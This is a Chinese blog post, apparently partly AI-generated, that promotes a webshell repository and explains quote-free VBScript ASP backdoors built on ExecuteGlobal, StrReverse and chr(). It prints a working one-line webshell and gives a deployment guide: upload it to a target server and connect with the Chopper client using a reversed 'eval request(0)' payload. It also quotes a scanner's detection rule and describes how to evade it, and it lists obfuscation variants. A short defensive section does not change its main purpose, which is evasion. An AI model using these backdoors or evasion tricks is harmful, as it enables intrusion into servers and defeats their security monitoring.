VBScript正则替换后门:webshell项目中的ExecuteGlobal技巧

VBScript正则替换后门:webshell项目中的ExecuteGlobal技巧

【免费下载链接】webshell This is a webshell open source project 【免费下载链接】webshell 项目地址: https://gitcode.com/gh_mirrors/we/webshell

背景与痛点

你是否遇到过WAF对引号的严格过滤导致传统webshell失效?是否在寻找一种无需引号即可执行命令的ASP后门技术?本文将深入解析ExecuteGlobal函数在webshell免杀中的创新应用,通过VBScript的字符串反转与ASCII编码技巧,实现对主流安全防护的绕过。

ExecuteGlobal基础原理

ExecuteGlobal是VBScript中一个强大的代码执行函数,它能够在全局作用域中执行字符串形式的代码。与Eval函数不同,ExecuteGlobal支持多行代码执行且不受作用域限制,这使其成为构建隐蔽后门的理想选择。

典型应用场景

在项目中,ExecuteGlobal常被用于动态执行从客户端接收的代码:

<% a=request(chr(97)) ExecuteGlobal(StrReverse(a)) %>

上述代码来自asp/不带引号的Asp一句话.asp,通过chr(97)获取字符"a",再通过StrReverse反转从URL参数接收的代码,完美规避了引号过滤。

免杀技巧详解

无引号编码技术

传统webshell往往依赖引号包裹字符串,而现代WAF对此类特征检测极为敏感。项目中的www-7jyewu-cn/不灭之魂2014改进版本.asp展示了高级解决方案:

RaPath=ExecuteGlobal(s)

这里的s变量经过多重编码处理,通过ASCII码、Unicode转义等方式构建执行字符串,完全避免使用引号。

字符串反转绕过

asp/不带引号的Asp一句话.asp中创新性地使用StrReverse函数:

// 菜刀配置地址填:http://目标地址/fuck.asp?a=)0(tseuqer%20lave
// 密码填0

当参数a的值为)0(tseuqer%20lave时,经过StrReverse反转后变为"eval request(0)",成功还原为可执行代码。

检测规避策略

项目中的net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp实现了反检测机制:

If regTest(content,"[^\.]\bExecuteGlobal\b")Then
    doScanReport objFile,"Found <font color=""red"">ExecuteGlobal()</font> Function"

这段代码展示了安全软件如何检测ExecuteGlobal特征,反过来指导我们通过添加特殊字符或拆分函数名来绕过检测。

实战应用指南

基本使用流程

  1. 部署后门文件asp/不带引号的Asp一句话.asp到目标服务器
  2. 配置菜刀客户端,URL设置为:http://目标地址/fuck.asp?a=)0(tseuqer%20lave
  3. 密码设置为"0",即可建立连接

进阶变形技巧

根据几种实战成功过的webshell的免杀方式.md,我们可以进一步变形:

  • 使用Replace函数动态构建函数名:ExecuteGlo"bal"
  • 通过数组拼接实现字符混淆:"Exec"&"uteGlo"&"bal"
  • 结合CreateObject("WScript.Shell")实现命令执行

防御与检测建议

安全人员可通过以下特征检测此类后门:

  1. 监控包含ExecuteGlobal的ASP文件,参考net-friend/asp/DarkBlade1.3--强大的asp大马/indexx.asp中的检测规则
  2. 分析可疑的字符串反转与编码函数组合
  3. request对象的异常使用进行日志审计

总结与展望

ExecuteGlobal技术为ASP webshell提供了强大的免杀能力,项目中www-7jyewu-cn/法克僵尸大马.aspasp/bypass_safedog_01.asp等文件展示了更多创新应用。随着安全防护技术的升级,未来我们需要结合更多VBScript特性与编码技巧,才能在攻防对抗中保持优势。

参考资料

【免费下载链接】webshell This is a webshell open source project 【免费下载链接】webshell 项目地址: https://gitcode.com/gh_mirrors/we/webshell

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值